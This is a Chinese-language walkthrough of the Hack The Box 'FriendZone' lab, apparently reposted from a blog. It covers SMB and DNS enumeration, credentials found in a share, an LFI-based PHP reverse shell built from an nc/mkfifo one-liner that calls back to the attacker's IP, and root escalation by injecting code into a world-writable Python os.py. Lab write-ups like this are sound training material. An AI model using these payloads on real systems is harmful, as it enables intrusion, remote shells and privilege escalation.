Hackthebox - FriendZone 靶场实战
2022-9-20 11:21:56 Author: 路西菲尔的故事汇(查看原文) 阅读量:8 收藏

Nmap

┌──(root㉿lucifiel)-[~/Desktop]
└─# nmap -sS -sC -sV -A -p- --min-rate 5000 10.10.10.123
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-09 13:14 CST
Nmap scan report for 10.10.10.123
Host is up (0.27s latency).
Not shown: 65528 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_http-title: 404 Not Found
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=9/9%OT=21%CT=1%CU=36793%PV=Y%DS=2%DC=T%G=Y%TM=631ACC10
OS:%P=aarch64-unknown-linux-gnu)SEQ(SP=101%GCD=1%ISR=107%TI=Z%CI=I%II=I%TS=
OS:A)OPS(O1=M539ST11NW7%O2=M539ST11NW7%O3=M539NNT11NW7%O4=M539ST11NW7%O5=M5
OS:39ST11NW7%O6=M539ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=712
OS:0)ECN(R=Y%DF=Y%T=40%W=7210%O=M539NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S
OS:+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=
OS:)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%
OS:A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%
OS:DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=
OS:40%CD=S)

Network Distance: 2 hops
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h00m00s, deviation: 1h43m54s, median: -1s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2022-09-09T08:15:47+03:00
| smb2-time: 
|   date: 2022-09-09T05:15:49
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

TRACEROUTE (using port 3306/tcp)
HOP RTT       ADDRESS
1   277.35 ms 10.10.14.1
2   277.61 ms 10.10.10.123

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.57 seconds

Http

就一张静态图片,肯定不在这里了

Ftp

┌──(root㉿lucifiel)-[~/Desktop]
└─# ftp 10.10.10.123
Connected to 10.10.10.123.
220 (vsFTPd 3.0.3)
Name (10.10.10.123:root): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed

本台不允许 ftp 匿名登陆

┌──(root㉿lucifiel)-[~/Desktop]
└─# searchsploit vsftpd 3.0.3
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                            |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 3.0.3 - Remote Denial of Service                                                                                                                                                                   | multiple/remote/49719.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Exploit-DB 也只找到一个远程DDOS的漏洞,没什么实际意义

Samba

┌──(root㉿lucifiel)-[~/Desktop]
└─# smbmap -H 10.10.10.123
[+] Guest session       IP: 10.10.10.123:445    Name: 10.10.10.123                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        Files                                                   NO ACCESS       FriendZone Samba Server Files /etc/Files
        general                                                 READ ONLY       FriendZone Samba Server Files
        Development                                             READ, WRITE     FriendZone Samba Server Files
        IPC$                                                    NO ACCESS       IPC Service (FriendZone server (Samba, Ubuntu))
┌──(root㉿lucifiel)-[~/Desktop]
└─# smbclient --list 10.10.10.123 -U ""  
Password for [WORKGROUP\]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        Files           Disk      FriendZone Samba Server Files /etc/Files
        general         Disk      FriendZone Samba Server Files
        Development     Disk      FriendZone Samba Server Files
        IPC$            IPC       IPC Service (FriendZone server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            FRIENDZONE

┌──(root㉿lucifiel)-[~/Desktop]
└─# nmap -p 445 --script=smb-enum-shares 10.10.10.123
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-20 09:50 CST
Nmap scan report for 10.10.10.123
Host is up (1.2s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.10.123\Development: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\Development
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.10.123\Files: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files /etc/Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\hole
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.10.123\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (FriendZone server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.10.123\general: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\general
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.10.123\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 95.19 seconds

┌──(root㉿lucifiel)-[~/Desktop]
└─# smbclient -N \\\\10.10.10.123\\Development
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Sep 20 09:51:26 2022
  ..                                  D        0  Tue Sep 13 22:56:24 2022

                3545824 blocks of size 1024. 1658488 blocks available

四大常用指令挨个执行一遍,拿到的信息越多越好

Development 文件夹是空的,看看另一个有读取权限的文件夹

┌──(root㉿lucifiel)-[~/Desktop]
└─# smbclient -N \\\\10.10.10.123\\general
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jan 17 04:10:51 2019
  ..                                  D        0  Tue Sep 13 22:56:24 2022
  creds.txt                           N       57  Wed Oct 10 07:52:42 2018

                3545824 blocks of size 1024. 1658484 blocks available

这边有一个 creds.txt 文件,读取看一下

creds for the admin THING:

admin:[email protected]#

似乎是一个账号密码

我们回到 Http 页面,会看到有一个邮箱 [email protected]

既然是域名邮箱,那按照常理来说是会存在这个域名的

查看了一下证书,发现确实存在域名,但是是 friendzone.red,去添加一个 hosts 解析

echo 10.10.10.123 friendzone.red >> /etc/hosts
┌──(root㉿lucifiel)-[~/Desktop]
└─# dig axfr friendzone.red @10.10.10.123

; <<>> DiG 9.18.1-1-Debian <<>> axfr friendzone.red @10.10.10.123
;; global options: +cmd
friendzone.red.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red.         604800  IN      AAAA    ::1
friendzone.red.         604800  IN      NS      localhost.
friendzone.red.         604800  IN      A       127.0.0.1
administrator1.friendzone.red. 604800 IN A      127.0.0.1
hr.friendzone.red.      604800  IN      A       127.0.0.1
uploads.friendzone.red. 604800  IN      A       127.0.0.1
friendzone.red.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 1439 msec
;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP)
;; WHEN: Tue Sep 20 10:09:07 CST 2022
;; XFR size: 8 records (messages 1, bytes 289)

枚举域名信息,发现了三个子域名

administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red

都添加到 hosts

https://administrator1.friendzone.red/ 访问后发现是一个登陆页面

使用我们的账号密码进行登录

登陆成功,让我们访问 /dashboard.php

大概意思是说,这是一个用于朋友圈的智能照片脚本,但是这是一个初级的 php 开发人员写的代码,然后这个脚本还没经过测试,所以有一个参数被遗忘了,输入这个参数可以现实图片,默认是 image_id=a.jpg&pagename=timestamp

看到这参数构成,感觉存在 LFI(本地文件包含),然后在之前的 Development 处,感觉有点不对,一个可读写的地址却没有内容,应该是给我们上传的点。然后我们也知道它的绝对路径,去尝试上传到 Development,再去 LFI 读取试试

\\10.10.10.123\Development: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\Development
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
<?php
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f');
?>

把 shell 写入到 php 文件,然后去上传

┌──(root㉿lucifiel)-[~/Desktop]
└─# smbclient //10.10.10.123/development -U ""
Password for [WORKGROUP\]:
Try "help" to get a list of possible commands.
smb: \> put shell.php 
putting file shell.php as \shell.php (0.1 kb/s) (average 0.1 kb/s)

然后去包含试试

nc -nvlp 4444
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell
┌──(root㉿lucifiel)-[~/Desktop]
└─# nc -nvlp 4444                                    
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.123] 39570
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('
/bin/bash')";
[email protected]:/var/www/admin$ whoami&&id
whoami&&id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功获得 shel

[email protected]:/home/friend$ cat user.txt
cat user.txt
a4977797fce2cc139c86af2adc340a29

成功拿到 user 权限的 flag 文件

User

[email protected]:/var/www$ ls
ls
admin       friendzoneportal       html             uploads
friendzone  friendzoneportaladmin  mysql_data.conf
[email protected]:/var/www$ cat mysql_data.conf
cat mysql_data.conf
for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ

在登入后的目录找到了一个 mysql_data.conf 文件,里面包含了一些凭证

[email protected]:/var/www$ cat /etc/passwd|grep bash
cat /etc/passwd|grep bash
root:x:0:0:root:/root:/bin/bash
friend:x:1000:1000:friend,,,:/home/friend:/bin/bash

可以看到当前也有这个用户,去尝试 ssh 登陆试试

┌──(root㉿lucifiel)-[~/Desktop]
└─# ssh [email protected]
The authenticity of host '10.10.10.123 (10.10.10.123)' can't be established.
ED25519 key fingerprint is SHA256:ERMyoo9aM0mxdTvIh0kooJS+m3GwJr6Q51AG9/gTYx4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '
10.10.10.123' (ED25519) to the list of known hosts.
[email protected]'
s password: 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

You have mail.
Last login: Thu Jan 24 01:20:15 2019 from 10.10.14.3
[email protected]:~$ whoami&&id
friend
uid=1000(friend) gid=1000(friend) groups=1000(friend),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)

登入成功

Root

使用 pspy64 跑一下

2022/09/20 05:44:01 CMD: UID=0    PID=1417   | /bin/sh -c /opt/server_admin/reporter.py 
2022/09/20 05:44:01 CMD: UID=0    PID=1416   | /bin/sh -c /opt/server_admin/reporter.py

发现有一个脚本 /opt/server_admin/reporter.py 一直在运行

[email protected]:~$ ls -la /opt/server_admin/reporter.py
-rwxr--r-- 1 root root 424 Jan 16  2019 /opt/server_admin/reporter.py

并且还是 root 权限的

[email protected]:~$ cat /opt/server_admin/reporter.py
#!/usr/bin/python

import os

to_address = "[email protected]"
from_address = "[email protected]"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to [email protected] -from [email protected] -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

我们没有写入权限,但是它会导入一个 os 库,咱们去查看一下是否有权限

[email protected]:/usr/lib/python2.7$ ls -la|grep os.py
-rwxrwxrwx  1 root   root    25910 Jan 15  2019 os.py

咱们是有写入权限的,那就写入一段恶意程序就好了

echo "system('chmod +s /bin/bash')" >> os.py
[email protected]:/usr/lib/python2.7$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Apr  4  2018 /bin/bash

等待两分钟,看到加上 s 权限后,就可以提权了

[email protected]:/usr/lib/python2.7$ /bin/bash -p
bash-4.4# whoami&&id
root
uid=1000(friend) gid=1000(friend) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(friend)

成功提权到 root 权限

bash-4.4# cat /root/root.txt
d93cbc3ed65646042735f3ee312fe2c5

成功拿到 root 权限的 flag 文件


文章来源: http://mp.weixin.qq.com/s?__biz=MzU2MjY5MzE5MA==&mid=2247487899&idx=1&sn=1e6aee4e65471bea8118cf4f87d467e5&chksm=fc64c4b2cb134da432b07ab82bac740bc0660ca7ea263cca2f709f2106fd80cde2a3f5c4f9e6#rd
如有侵权请联系:admin#unsafe.sh